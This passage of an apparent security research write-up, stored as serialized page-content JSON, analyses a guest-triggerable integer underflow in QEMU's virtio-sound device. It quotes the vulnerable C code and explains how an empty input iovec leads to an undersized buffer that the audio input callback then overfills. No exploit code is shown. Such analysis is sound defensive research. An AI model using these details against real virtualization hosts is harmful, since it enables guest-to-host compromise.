vq;\n",{"type":24,"tag":327,"props":130973,"children":130974},{"class":329,"line":4879},[130975,130979,130983,130988,130992,130996],{"type":24,"tag":327,"props":130976,"children":130977},{"style":356},[130978],{"type":29,"value":130930},{"type":24,"tag":327,"props":130980,"children":130981},{"style":346},[130982],{"type":29,"value":1679},{"type":24,"tag":327,"props":130984,"children":130985},{"style":356},[130986],{"type":29,"value":130987},"size",{"type":24,"tag":327,"props":130989,"children":130990},{"style":381},[130991],{"type":29,"value":4809},{"type":24,"tag":327,"props":130993,"children":130994},{"style":397},[130995],{"type":29,"value":6695},{"type":24,"tag":327,"props":130997,"children":130998},{"style":346},[130999],{"type":29,"value":405},{"type":24,"tag":327,"props":131001,"children":131002},{"class":329,"line":4913},[131003,131007,131011,131015,131019,131023],{"type":24,"tag":327,"props":131004,"children":131005},{"style":356},[131006],{"type":29,"value":130930},{"type":24,"tag":327,"props":131008,"children":131009},{"style":346},[131010],{"type":29,"value":1679},{"type":24,"tag":327,"props":131012,"children":131013},{"style":356},[131014],{"type":29,"value":21434},{"type":24,"tag":327,"props":131016,"children":131017},{"style":381},[131018],{"type":29,"value":4809},{"type":24,"tag":327,"props":131020,"children":131021},{"style":397},[131022],{"type":29,"value":6695},{"type":24,"tag":327,"props":131024,"children":131025},{"style":346},[131026],{"type":29,"value":405},{"type":24,"tag":327,"props":131028,"children":131029},{"class":329,"line":4938},[131030,131035,131039,131043,131047,131051,131056,131061],{"type":24,"tag":327,"props":131031,"children":131032},{"style":340},[131033],{"type":29,"value":131034},"            QSIMPLEQ_INSERT_TAIL",{"type":24,"tag":327,"props":131036,"children":131037},{"style":346},[131038],{"type":29,"value":349},{"type":24,"tag":327,"props":131040,"children":131041},{"style":381},[131042],{"type":29,"value":8716},{"type":24,"tag":327,"props":131044,"children":131045},{"style":356},[131046],{"type":29,"value":42974},{"type":24,"tag":327,"props":131048,"children":131049},{"style":346},[131050],{"type":29,"value":1679},{"type":24,"tag":327,"props":131052,"children":131053},{"style":356},[131054],{"type":29,"value":131055},"queue",{"type":24,"tag":327,"props":131057,"children":131058},{"style":346},[131059],{"type":29,"value":131060},", buffer, entry);",{"type":24,"tag":327,"props":131062,"children":131063},{"style":551},[131064],{"type":29,"value":59350},{"type":24,"tag":327,"props":131066,"children":131067},{"class":329,"line":4974},[131068],{"type":24,"tag":327,"props":131069,"children":131070},{"style":346},[131071],{"type":29,"value":8989},{"type":24,"tag":327,"props":131073,"children":131074},{"class":329,"line":4982},[131075,131080],{"type":24,"tag":327,"props":131076,"children":131077},{"style":425},[131078],{"type":29,"value":131079},"        continue",{"type":24,"tag":327,"props":131081,"children":131082},{"style":346},[131083],{"type":29,"value":405},{"type":24,"tag":327,"props":131085,"children":131086},{"class":329,"line":4990},[131087],{"type":24,"tag":327,"props":131088,"children":131089},{"emptyLinePlaceholder":16},[131090],{"type":29,"value":544},{"type":24,"tag":327,"props":131092,"children":131093},{"class":329,"line":4999},[131094],{"type":24,"tag":327,"props":131095,"children":131096},{"style":346},[131097],{"type":29,"value":130766},{"type":24,"tag":327,"props":131099,"children":131100},{"class":329,"line":5042},[131101],{"type":24,"tag":327,"props":131102,"children":131103},{"style":346},[131104],{"type":29,"value":592},{"type":24,"tag":25,"props":131106,"children":131107},{},[131108,131110,131116,131118,131124,131126,131131,131132,131138],{"type":29,"value":131109},"At ",{"type":24,"tag":284,"props":131111,"children":131113},{"className":131112},[],[131114],{"type":29,"value":131115},"[1]",{"type":29,"value":131117},", a ",{"type":24,"tag":284,"props":131119,"children":131121},{"className":131120},[],[131122],{"type":29,"value":131123},"VirtQueueElement *elem",{"type":29,"value":131125}," is popped from the virtqueue. It contains the ",{"type":24,"tag":284,"props":131127,"children":131129},{"className":131128},[],[131130],{"type":29,"value":130840},{"type":29,"value":1323},{"type":24,"tag":284,"props":131133,"children":131135},{"className":131134},[],[131136],{"type":29,"value":131137},"out_sg",{"type":29,"value":131139}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":24,"tag":25,"props":131141,"children":131142},{},[131143,131145,131151,131153,131159,131161,131167,131169,131175,131177,131183],{"type":29,"value":131144},"Further at ",{"type":24,"tag":284,"props":131146,"children":131148},{"className":131147},[],[131149],{"type":29,"value":131150},"[2]",{"type":29,"value":131152},", the device computes the size of the data buffer as ",{"type":24,"tag":284,"props":131154,"children":131156},{"className":131155},[],[131157],{"type":29,"value":131158},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":29,"value":131160},". That value is then used in the allocation: ",{"type":24,"tag":284,"props":131162,"children":131164},{"className":131163},[],[131165],{"type":29,"value":131166},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":29,"value":131168},". Finally, at ",{"type":24,"tag":284,"props":131170,"children":131172},{"className":131171},[],[131173],{"type":29,"value":131174},"[3]",{"type":29,"value":131176},", the newly allocated buffer is appended to the ",{"type":24,"tag":284,"props":131178,"children":131180},{"className":131179},[],[131181],{"type":29,"value":131182},"stream->queue",{"type":29,"value":131184}," linked list.",{"type":24,"tag":25,"props":131186,"children":131187},{},[131188,131190,131195,131197,131202,131204,131209,131211,131217],{"type":29,"value":131189},"Because both the ",{"type":24,"tag":284,"props":131191,"children":131193},{"className":131192},[],[131194],{"type":29,"value":130840},{"type":29,"value":131196}," iovec and the ",{"type":24,"tag":284,"props":131198,"children":131200},{"className":131199},[],[131201],{"type":29,"value":130857},{"type":29,"value":131203}," field are guest-controlled, and there is no check that the total ",{"type":24,"tag":284,"props":131205,"children":131207},{"className":131206},[],[131208],{"type":29,"value":130840},{"type":29,"value":131210}," size is at least ",{"type":24,"tag":284,"props":131212,"children":131214},{"className":131213},[],[131215],{"type":29,"value":131216},"sizeof(virtio_snd_pcm_status)",{"type":29,"value":131218},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":24,"tag":25,"props":131220,"children":131221},{},[131222,131224,131229,131231,131237,131239,131245,131247,131253],{"type":29,"value":131223},"From the guest driver, we can provide an empty ",{"type":24,"tag":284,"props":131225,"children":131227},{"className":131226},[],[131228],{"type":29,"value":130840},{"type":29,"value":131230}," iovec. In that case, the calculation becomes ",{"type":24,"tag":284,"props":131232,"children":131234},{"className":131233},[],[131235],{"type":29,"value":131236},"0 - sizeof(virtio_snd_pcm_status)",{"type":29,"value":131238},", so the allocation size effectively becomes ",{"type":24,"tag":284,"props":131240,"children":131242},{"className":131241},[],[131243],{"type":29,"value":131244},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":29,"value":131246},". Given the definition of ",{"type":24,"tag":284,"props":131248,"children":131250},{"className":131249},[],[131251],{"type":29,"value":131252},"VirtIOSoundPCMBuffer",{"type":29,"value":1636},{"type":24,"tag":317,"props":131255,"children":131257},{"code":131256,"language":320,"meta":7,"className":321,"style":7},"struct VirtIOSoundPCMBuffer {\n    QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n    VirtQueueElement *elem;\n    VirtQueue *vq;\n    size_t size;\n    uint64_t offset;\n    /* Used for the TX queue for lazy I/O copy from `elem` */\n    bool populated;\n    uint8_t data[];\n};\n",[131258],{"type":24,"tag":284,"props":131259,"children":131260},{"__ignoreMap":7},[131261,131273,131286,131301,131318,131330,131342,131350,131362,131382],{"type":24,"tag":327,"props":131262,"children":131263},{"class":329,"line":330},[131264,131268],{"type":24,"tag":327,"props":131265,"children":131266},{"style":334},[131267],{"type":29,"value":2195},{"type":24,"tag":327,"props":131269,"children":131270},{"style":346},[131271],{"type":29,"value":131272}," VirtIOSoundPCMBuffer {\n",{"type":24,"tag":327,"props":131274,"children":131275},{"class":329,"line":367},[131276,131281],{"type":24,"tag":327,"props":131277,"children":131278},{"style":340},[131279],{"type":29,"value":131280},"    QSIMPLEQ_ENTRY",{"type":24,"tag":327,"props":131282,"children":131283},{"style":346},[131284],{"type":29,"value":131285},"(VirtIOSoundPCMBuffer) entry;\n",{"type":24,"tag":327,"props":131287,"children":131288},{"class":329,"line":408},[131289,131293,131297],{"type":24,"tag":327,"props":131290,"children":131291},{"style":346},[131292],{"type":29,"value":130618},{"type":24,"tag":327,"props":131294,"children":131295},{"style":381},[131296],{"type":29,"value":469},{"type":24,"tag":327,"props":131298,"children":131299},{"style":346},[131300],{"type":29,"value":130627},{"type":24,"tag":327,"props":131302,"children":131303},{"class":329,"line":421},[131304,131309,131313],{"type":24,"tag":327,"props":131305,"children":131306},{"style":346},[131307],{"type":29,"value":131308},"    VirtQueue ",{"type":24,"tag":327,"props":131310,"children":131311},{"style":381},[131312],{"type":29,"value":469},{"type":24,"tag":327,"props":131314,"children":131315},{"style":346},[131316],{"type":29,"value":131317},"vq;\n",{"type":24,"tag":327,"props":131319,"children":131320},{"class":329,"line":450},[131321,131325],{"type":24,"tag":327,"props":131322,"children":131323},{"style":334},[131324],{"type":29,"value":24079},{"type":24,"tag":327,"props":131326,"children":131327},{"style":346},[131328],{"type":29,"value":131329}," size;\n",{"type":24,"tag":327,"props":131331,"children":131332},{"class":329,"line":481},[131333,131337],{"type":24,"tag":327,"props":131334,"children":131335},{"style":334},[131336],{"type":29,"value":62334},{"type":24,"tag":327,"props":131338,"children":131339},{"style":346},[131340],{"type":29,"value":131341}," offset;\n",{"type":24,"tag":327,"props":131343,"children":131344},{"class":329,"line":500},[131345],{"type":24,"tag":327,"props":131346,"children":131347},{"style":551},[131348],{"type":29,"value":131349},"    /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":24,"tag":327,"props":131351,"children":131352},{"class":329,"line":529},[131353,131357],{"type":24,"tag":327,"props":131354,"children":131355},{"style":334},[131356],{"type":29,"value":53192},{"type":24,"tag":327,"props":131358,"children":131359},{"style":346},[131360],{"type":29,"value":131361}," populated;\n",{"type":24,"tag":327,"props":131363,"children":131364},{"class":329,"line":538},[131365,131369,131373,131378],{"type":24,"tag":327,"props":131366,"children":131367},{"style":334},[131368],{"type":29,"value":65179},{"type":24,"tag":327,"props":131370,"children":131371},{"style":346},[131372],{"type":29,"value":22628},{"type":24,"tag":327,"props":131374,"children":131375},{"style":334},[131376],{"type":29,"value":131377},"[]",{"type":24,"tag":327,"props":131379,"children":131380},{"style":346},[131381],{"type":29,"value":405},{"type":24,"tag":327,"props":131383,"children":131384},{"class":329,"line":547},[131385],{"type":24,"tag":327,"props":131386,"children":131387},{"style":346},[131388],{"type":29,"value":24092},{"type":24,"tag":25,"props":131390,"children":131391},{},[131392,131394,131400,131402,131407,131409,131414,131416,131421,131423,131428,131430,131436],{"type":29,"value":131393},"That under-allocation removes the ",{"type":24,"tag":284,"props":131395,"children":131397},{"className":131396},[],[131398],{"type":29,"value":131399},"populated",{"type":29,"value":131401}," field along with the variable-sized ",{"type":24,"tag":284,"props":131403,"children":131405},{"className":131404},[],[131406],{"type":29,"value":11298},{"type":29,"value":131408}," array. As the comment says, ",{"type":24,"tag":284,"props":131410,"children":131412},{"className":131411},[],[131413],{"type":29,"value":131399},{"type":29,"value":131415}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":24,"tag":284,"props":131417,"children":131419},{"className":131418},[],[131420],{"type":29,"value":3238},{"type":29,"value":131422},", the device believes data should be ",{"type":24,"tag":284,"props":131424,"children":131426},{"className":131425},[],[131427],{"type":29,"value":3238},{"type":29,"value":131429}," byte, while the actual allocation is ",{"type":24,"tag":284,"props":131431,"children":131433},{"className":131432},[],[131434],{"type":29,"value":131435},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":29,"value":66},{"type":24,"tag":168,"props":131438,"children":131440},{"id":131439},"populating-data-buffers",[131441],{"type":29,"value":131442},"Populating Data Buffers",{"type":24,"tag":25,"props":131444,"children":131445},{},[131446],{"type":29,"value":131447},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":24,"tag":317,"props":131449,"children":131451},{"code":131450,"language":320,"meta":7,"className":321,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n    VirtIOSoundPCMStream *stream = data;\n    VirtIOSoundPCMBuffer *buffer;\n    size_t size, max_size;\n\n    WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n        while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n            buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n            [...]\n\n            max_size = iov_size(                    // [1]\n                buffer->elem->in_sg,\n                buffer->elem->in_num\n            );\n            for (;;) {\n                if (buffer->size >= max_size) {     // [2]\n                    return_rx_buffer(stream, buffer);\n                    break;\n                }\n                size = AUD_read(stream->voice.in,\n                        buffer->data + buffer->size,\n                        MIN(available, (stream->params.period_bytes -     // [3]\n                                        buffer->size)));\n                if (!size) {\n                    available = 0;\n                    break;\n                }\n                buffer->size += size;\n                available -= size;\n                [...]\n            }\n        }\n    }\n}\n",[131452],{"type":24,"tag":284,"props":131453,"children":131454},{"__ignoreMap":7},[131455,131462,131470,131477,131485,131493,131500,131549,131556,131582,131599,131611,131618,131650,131695,131735,131742,131750,131757,131782,131810,131834,131842,131854,131892,131905,131917,131924,131970,132007,132050,132071,132091,132111,132122,132129,132152,132168,132176,132183,132190,132197],{"type":24,"tag":327,"props":131456,"children":131457},{"class":329,"line":330},[131458],{"type":24,"tag":327,"props":131459,"children":131460},{"style":551},[131461],{"type":29,"value":56086},{"type":24,"tag":327,"props":131463,"children":131464},{"class":329,"line":367},[131465],{"type":24,"tag":327,"props":131466,"children":131467},{"style":551},[131468],{"type":29,"value":131469}," * AUD_* input callback.\n",{"type":24,"tag":327,"props":131471,"children":131472},{"class":329,"line":408},[131473],{"type":24,"tag":327,"props":131474,"children":131475},{"style":551},[131476],{"type":29,"value":817},{"type":24,"tag":327,"props":131478,"children":131479},{"class":329,"line":421},[131480],{"type":24,"tag":327,"props":131481,"children":131482},{"style":551},[131483],{"type":29,"value":131484}," * @data: VirtIOSoundPCMStream stream\n",{"type":24,"tag":327,"props":131486,"children":131487},{"class":329,"line":450},[131488],{"type":24,"tag":327,"props":131489,"children":131490},{"style":551},[131491],{"type":29,"value":131492}," * @available: number of bytes that can be read with AUD_read()\n",{"type":24,"tag":327,"props":131494,"children":131495},{"class":329,"line":481},[131496],{"type":24,"tag":327,"props":131497,"children":131498},{"style":551},[131499],{"type":29,"value":130555},{"type":24,"tag":327,"props":131501,"children":131502},{"class":329,"line":500},[131503,131507,131511,131516,131520,131524,131528,131532,131536,131540,131545],{"type":24,"tag":327,"props":131504,"children":131505},{"style":334},[131506],{"type":29,"value":57765},{"type":24,"tag":327,"props":131508,"children":131509},{"style":334},[131510],{"type":29,"value":57770},{"type":24,"tag":327,"props":131512,"children":131513},{"style":340},[131514],{"type":29,"value":131515}," virtio_snd_pcm_in_cb",{"type":24,"tag":327,"props":131517,"children":131518},{"style":346},[131519],{"type":29,"value":349},{"type":24,"tag":327,"props":131521,"children":131522},{"style":334},[131523],{"type":29,"value":58348},{"type":24,"tag":327,"props":131525,"children":131526},{"style":381},[131527],{"type":29,"value":17364},{"type":24,"tag":327,"props":131529,"children":131530},{"style":356},[131531],{"type":29,"value":11298},{"type":24,"tag":327,"props":131533,"children":131534},{"style":346},[131535],{"type":29,"value":2744},{"type":24,"tag":327,"props":131537,"children":131538},{"style":334},[131539],{"type":29,"value":337},{"type":24,"tag":327,"props":131541,"children":131542},{"style":356},[131543],{"type":29,"value":131544}," available",{"type":24,"tag":327,"props":131546,"children":131547},{"style":346},[131548],{"type":29,"value":852},{"type":24,"tag":327,"props":131550,"children":131551},{"class":329,"line":529},[131552],{"type":24,"tag":327,"props":131553,"children":131554},{"style":346},[131555],{"type":29,"value":18427},{"type":24,"tag":327,"props":131557,"children":131558},{"class":329,"line":538},[131559,131564,131568,131573,131577],{"type":24,"tag":327,"props":131560,"children":131561},{"style":346},[131562],{"type":29,"value":131563},"    VirtIOSoundPCMStream ",{"type":24,"tag":327,"props":131565,"children":131566},{"style":381},[131567],{"type":29,"value":469},{"type":24,"tag":327,"props":131569,"children":131570},{"style":346},[131571],{"type":29,"value":131572},"stream ",{"type":24,"tag":327,"props":131574,"children":131575},{"style":381},[131576],{"type":29,"value":384},{"type":24,"tag":327,"props":131578,"children":131579},{"style":346},[131580],{"type":29,"value":131581}," data;\n",{"type":24,"tag":327,"props":131583,"children":131584},{"class":329,"line":547},[131585,131590,131594],{"type":24,"tag":327,"props":131586,"children":131587},{"style":346},[131588],{"type":29,"value":131589},"    VirtIOSoundPCMBuffer ",{"type":24,"tag":327,"props":131591,"children":131592},{"style":381},[131593],{"type":29,"value":469},{"type":24,"tag":327,"props":131595,"children":131596},{"style":346},[131597],{"type":29,"value":131598},"buffer;\n",{"type":24,"tag":327,"props":131600,"children":131601},{"class":329,"line":557},[131602,131606],{"type":24,"tag":327,"props":131603,"children":131604},{"style":334},[131605],{"type":29,"value":24079},{"type":24,"tag":327,"props":131607,"children":131608},{"style":346},[131609],{"type":29,"value":131610}," size, max_size;\n",{"type":24,"tag":327,"props":131612,"children":131613},{"class":329,"line":586},[131614],{"type":24,"tag":327,"props":131615,"children":131616},{"emptyLinePlaceholder":16},[131617],{"type":29,"value":544},{"type":24,"tag":327,"props":131619,"children":131620},{"class":329,"line":1017},[131621,131626,131630,131634,131638,131642,131646],{"type":24,"tag":327,"props":131622,"children":131623},{"style":340},[131624],{"type":29,"value":131625},"    WITH_QEMU_LOCK_GUARD",{"type":24,"tag":327,"props":131627,"children":131628},{"style":346},[131629],{"type":29,"value":349},{"type":24,"tag":327,"props":131631,"children":131632},{"style":381},[131633],{"type":29,"value":8716},{"type":24,"tag":327,"props":131635,"children":131636},{"style":356},[131637],{"type":29,"value":42974},{"type":24,"tag":327,"props":131639,"children":131640},{"style":346},[131641],{"type":29,"value":1679},{"type":24,"tag":327,"props":131643,"children":131644},{"style":356},[131645],{"type":29,"value":130802},{"type":24,"tag":327,"props":131647,"children":131648},{"style":346},[131649],{"type":29,"value":364},{"type":24,"tag":327,"props":131651,"children":131652},{"class":329,"line":1026},[131653,131658,131662,131666,131671,131675,131679,131683,131687,131691],{"type":24,"tag":327,"props":131654,"children":131655},{"style":425},[131656],{"type":29,"value":131657},"        while",{"type":24,"tag":327,"props":131659,"children":131660},{"style":346},[131661],{"type":29,"value":5894},{"type":24,"tag":327,"props":131663,"children":131664},{"style":381},[131665],{"type":29,"value":1986},{"type":24,"tag":327,"props":131667,"children":131668},{"style":340},[131669],{"type":29,"value":131670},"QSIMPLEQ_EMPTY",{"type":24,"tag":327,"props":131672,"children":131673},{"style":346},[131674],{"type":29,"value":349},{"type":24,"tag":327,"props":131676,"children":131677},{"style":381},[131678],{"type":29,"value":8716},{"type":24,"tag":327,"props":131680,"children":131681},{"style":356},[131682],{"type":29,"value":42974},{"type":24,"tag":327,"props":131684,"children":131685},{"style":346},[131686],{"type":29,"value":1679},{"type":24,"tag":327,"props":131688,"children":131689},{"style":356},[131690],{"type":29,"value":131055},{"type":24,"tag":327,"props":131692,"children":131693},{"style":346},[131694],{"type":29,"value":41906},{"type":24,"tag":327,"props":131696,"children":131697},{"class":329,"line":1048},[131698,131702,131706,131711,131715,131719,131723,131727,131731],{"type":24,"tag":327,"props":131699,"children":131700},{"style":346},[131701],{"type":29,"value":130891},{"type":24,"tag":327,"props":131703,"children":131704},{"style":381},[131705],{"type":29,"value":384},{"type":24,"tag":327,"props":131707,"children":131708},{"style":340},[131709],{"type":29,"value":131710}," QSIMPLEQ_FIRST",{"type":24,"tag":327,"props":131712,"children":131713},{"style":346},[131714],{"type":29,"value":349},{"type":24,"tag":327,"props":131716,"children":131717},{"style":381},[131718],{"type":29,"value":8716},{"type":24,"tag":327,"props":131720,"children":131721},{"style":356},[131722],{"type":29,"value":42974},{"type":24,"tag":327,"props":131724,"children":131725},{"style":346},[131726],{"type":29,"value":1679},{"type":24,"tag":327,"props":131728,"children":131729},{"style":356},[131730],{"type":29,"value":131055},{"type":24,"tag":327,"props":131732,"children":131733},{"style":346},[131734],{"type":29,"value":583},{"type":24,"tag":327,"props":131736,"children":131737},{"class":329,"line":1067},[131738],{"type":24,"tag":327,"props":131739,"children":131740},{"emptyLinePlaceholder":16},[131741],{"type":29,"value":544},{"type":24,"tag":327,"props":131743,"children":131744},{"class":329,"line":1075},[131745],{"type":24,"tag":327,"props":131746,"children":131747},{"style":346},[131748],{"type":29,"value":131749},"            [...]\n",{"type":24,"tag":327,"props":131751,"children":131752},{"class":329,"line":1084},[131753],{"type":24,"tag":327,"props":131754,"children":131755},{"emptyLinePlaceholder":16},[131756],{"type":29,"value":544},{"type":24,"tag":327,"props":131758,"children":131759},{"class":329,"line":1100},[131760,131765,131769,131773,131777],{"type":24,"tag":327,"props":131761,"children":131762},{"style":346},[131763],{"type":29,"value":131764},"            max_size ",{"type":24,"tag":327,"props":131766,"children":131767},{"style":381},[131768],{"type":29,"value":384},{"type":24,"tag":327,"props":131770,"children":131771},{"style":340},[131772],{"type":29,"value":130823},{"type":24,"tag":327,"props":131774,"children":131775},{"style":346},[131776],{"type":29,"value":349},{"type":24,"tag":327,"props":131778,"children":131779},{"style":551},[131780],{"type":29,"value":131781},"                    // [1]\n",{"type":24,"tag":327,"props":131783,"children":131784},{"class":329,"line":1128},[131785,131790,131794,131798,131802,131806],{"type":24,"tag":327,"props":131786,"children":131787},{"style":356},[131788],{"type":29,"value":131789},"                buffer",{"type":24,"tag":327,"props":131791,"children":131792},{"style":346},[131793],{"type":29,"value":1679},{"type":24,"tag":327,"props":131795,"children":131796},{"style":356},[131797],{"type":29,"value":58785},{"type":24,"tag":327,"props":131799,"children":131800},{"style":346},[131801],{"type":29,"value":1679},{"type":24,"tag":327,"props":131803,"children":131804},{"style":356},[131805],{"type":29,"value":130840},{"type":24,"tag":327,"props":131807,"children":131808},{"style":346},[131809],{"type":29,"value":2231},{"type":24,"tag":327,"props":131811,"children":131812},{"class":329,"line":1148},[131813,131817,131821,131825,131829],{"type":24,"tag":327,"props":131814,"children":131815},{"style":356},[131816],{"type":29,"value":131789},{"type":24,"tag":327,"props":131818,"children":131819},{"style":346},[131820],{"type":29,"value":1679},{"type":24,"tag":327,"props":131822,"children":131823},{"style":356},[131824],{"type":29,"value":58785},{"type":24,"tag":327,"props":131826,"children":131827},{"style":346},[131828],{"type":29,"value":1679},{"type":24,"tag":327,"props":131830,"children":131831},{"style":356},[131832],{"type":29,"value":131833},"in_num\n",{"type":24,"tag":327,"props":131835,"children":131836},{"class":329,"line":1176},[131837],{"type":24,"tag":327,"props":131838,"children":131839},{"style":346},[131840],{"type":29,"value":131841},"            );\n",{"type":24,"tag":327,"props":131843,"children":131844},{"class":329,"line":1184},[131845,131850],{"type":24,"tag":327,"props":131846,"children":131847},{"style":425},[131848],{"type":29,"value":131849},"            for",{"type":24,"tag":327,"props":131851,"children":131852},{"style":346},[131853],{"type":29,"value":130653},{"type":24,"tag":327,"props":131855,"children":131856},{"class":329,"line":1192},[131857,131861,131865,131870,131874,131878,131882,131887],{"type":24,"tag":327,"props":131858,"children":131859},{"style":425},[131860],{"type":29,"value":110247},{"type":24,"tag":327,"props":131862,"children":131863},{"style":346},[131864],{"type":29,"value":5894},{"type":24,"tag":327,"props":131866,"children":131867},{"style":356},[131868],{"type":29,"value":131869},"buffer",{"type":24,"tag":327,"props":131871,"children":131872},{"style":346},[131873],{"type":29,"value":1679},{"type":24,"tag":327,"props":131875,"children":131876},{"style":356},[131877],{"type":29,"value":130987},{"type":24,"tag":327,"props":131879,"children":131880},{"style":381},[131881],{"type":29,"value":15862},{"type":24,"tag":327,"props":131883,"children":131884},{"style":346},[131885],{"type":29,"value":131886}," max_size) {",{"type":24,"tag":327,"props":131888,"children":131889},{"style":551},[131890],{"type":29,"value":131891},"     // [2]\n",{"type":24,"tag":327,"props":131893,"children":131894},{"class":329,"line":1212},[131895,131900],{"type":24,"tag":327,"props":131896,"children":131897},{"style":340},[131898],{"type":29,"value":131899},"                    return_rx_buffer",{"type":24,"tag":327,"props":131901,"children":131902},{"style":346},[131903],{"type":29,"value":131904},"(stream, buffer);\n",{"type":24,"tag":327,"props":131906,"children":131907},{"class":329,"line":4841},[131908,131913],{"type":24,"tag":327,"props":131909,"children":131910},{"style":425},[131911],{"type":29,"value":131912},"                    break",{"type":24,"tag":327,"props":131914,"children":131915},{"style":346},[131916],{"type":29,"value":405},{"type":24,"tag":327,"props":131918,"children":131919},{"class":329,"line":4862},[131920],{"type":24,"tag":327,"props":131921,"children":131922},{"style":346},[131923],{"type":29,"value":77796},{"type":24,"tag":327,"props":131925,"children":131926},{"class":329,"line":4870},[131927,131932,131936,131941,131945,131949,131953,131958,131962,131966],{"type":24,"tag":327,"props":131928,"children":131929},{"style":346},[131930],{"type":29,"value":131931},"                size ",{"type":24,"tag":327,"props":131933,"children":131934},{"style":381},[131935],{"type":29,"value":384},{"type":24,"tag":327,"props":131937,"children":131938},{"style":340},[131939],{"type":29,"value":131940}," AUD_read",{"type":24,"tag":327,"props":131942,"children":131943},{"style":346},[131944],{"type":29,"value":349},{"type":24,"tag":327,"props":131946,"children":131947},{"style":356},[131948],{"type":29,"value":42974},{"type":24,"tag":327,"props":131950,"children":131951},{"style":346},[131952],{"type":29,"value":1679},{"type":24,"tag":327,"props":131954,"children":131955},{"style":356},[131956],{"type":29,"value":131957},"voice",{"type":24,"tag":327,"props":131959,"children":131960},{"style":346},[131961],{"type":29,"value":66},{"type":24,"tag":327,"props":131963,"children":131964},{"style":356},[131965],{"type":29,"value":102225},{"type":24,"tag":327,"props":131967,"children":131968},{"style":346},[131969],{"type":29,"value":2231},{"type":24,"tag":327,"props":131971,"children":131972},{"class":329,"line":4879},[131973,131978,131982,131986,131990,131995,131999,132003],{"type":24,"tag":327,"props":131974,"children":131975},{"style":356},[131976],{"type":29,"value":131977},"                        buffer",{"type":24,"tag":327,"props":131979,"children":131980},{"style":346},[131981],{"type":29,"value":1679},{"type":24,"tag":327,"props":131983,"children":131984},{"style":356},[131985],{"type":29,"value":11298},{"type":24,"tag":327,"props":131987,"children":131988},{"style":381},[131989],{"type":29,"value":4407},{"type":24,"tag":327,"props":131991,"children":131992},{"style":356},[131993],{"type":29,"value":131994}," buffer",{"type":24,"tag":327,"props":131996,"children":131997},{"style":346},[131998],{"type":29,"value":1679},{"type":24,"tag":327,"props":132000,"children":132001},{"style":356},[132002],{"type":29,"value":130987},{"type":24,"tag":327,"props":132004,"children":132005},{"style":346},[132006],{"type":29,"value":2231},{"type":24,"tag":327,"props":132008,"children":132009},{"class":329,"line":4913},[132010,132015,132020,132024,132028,132032,132036,132041,132045],{"type":24,"tag":327,"props":132011,"children":132012},{"style":340},[132013],{"type":29,"value":132014},"                        MIN",{"type":24,"tag":327,"props":132016,"children":132017},{"style":346},[132018],{"type":29,"value":132019},"(available, (",{"type":24,"tag":327,"props":132021,"children":132022},{"style":356},[132023],{"type":29,"value":42974},{"type":24,"tag":327,"props":132025,"children":132026},{"style":346},[132027],{"type":29,"value":1679},{"type":24,"tag":327,"props":132029,"children":132030},{"style":356},[132031],{"type":29,"value":105009},{"type":24,"tag":327,"props":132033,"children":132034},{"style":346},[132035],{"type":29,"value":66},{"type":24,"tag":327,"props":132037,"children":132038},{"style":356},[132039],{"type":29,"value":132040},"period_bytes",{"type":24,"tag":327,"props":132042,"children":132043},{"style":381},[132044],{"type":29,"value":57976},{"type":24,"tag":327,"props":132046,"children":132047},{"style":551},[132048],{"type":29,"value":132049},"     // [3]\n",{"type":24,"tag":327,"props":132051,"children":132052},{"class":329,"line":4938},[132053,132058,132062,132066],{"type":24,"tag":327,"props":132054,"children":132055},{"style":356},[132056],{"type":29,"value":132057},"                                        buffer",{"type":24,"tag":327,"props":132059,"children":132060},{"style":346},[132061],{"type":29,"value":1679},{"type":24,"tag":327,"props":132063,"children":132064},{"style":356},[132065],{"type":29,"value":130987},{"type":24,"tag":327,"props":132067,"children":132068},{"style":346},[132069],{"type":29,"value":132070},")));\n",{"type":24,"tag":327,"props":132072,"children":132073},{"class":329,"line":4974},[132074,132078,132082,132086],{"type":24,"tag":327,"props":132075,"children":132076},{"style":425},[132077],{"type":29,"value":110247},{"type":24,"tag":327,"props":132079,"children":132080},{"style":346},[132081],{"type":29,"value":5894},{"type":24,"tag":327,"props":132083,"children":132084},{"style":381},[132085],{"type":29,"value":1986},{"type":24,"tag":327,"props":132087,"children":132088},{"style":346},[132089],{"type":29,"value":132090},"size) {\n",{"type":24,"tag":327,"props":132092,"children":132093},{"class":329,"line":4982},[132094,132099,132103,132107],{"type":24,"tag":327,"props":132095,"children":132096},{"style":346},[132097],{"type":29,"value":132098},"                    available ",{"type":24,"tag":327,"props":132100,"children":132101},{"style":381},[132102],{"type":29,"value":384},{"type":24,"tag":327,"props":132104,"children":132105},{"style":397},[132106],{"type":29,"value":6695},{"type":24,"tag":327,"props":132108,"children":132109},{"style":346},[132110],{"type":29,"value":405},{"type":24,"tag":327,"props":132112,"children":132113},{"class":329,"line":4990},[132114,132118],{"type":24,"tag":327,"props":132115,"children":132116},{"style":425},[132117],{"type":29,"value":131912},{"type":24,"tag":327,"props":132119,"children":132120},{"style":346},[132121],{"type":29,"value":405},{"type":24,"tag":327,"props":132123,"children":132124},{"class":329,"line":4999},[132125],{"type":24,"tag":327,"props":132126,"children":132127},{"style":346},[132128],{"type":29,"value":77796},{"type":24,"tag":327,"props":132130,"children":132131},{"class":329,"line":5042},[132132,132136,132140,132144,132148],{"type":24,"tag":327,"props":132133,"children":132134},{"style":356},[132135],{"type":29,"value":131789},{"type":24,"tag":327,"props":132137,"children":132138},{"style":346},[132139],{"type":29,"value":1679},{"type":24,"tag":327,"props":132141,"children":132142},{"style":356},[132143],{"type":29,"value":130987},{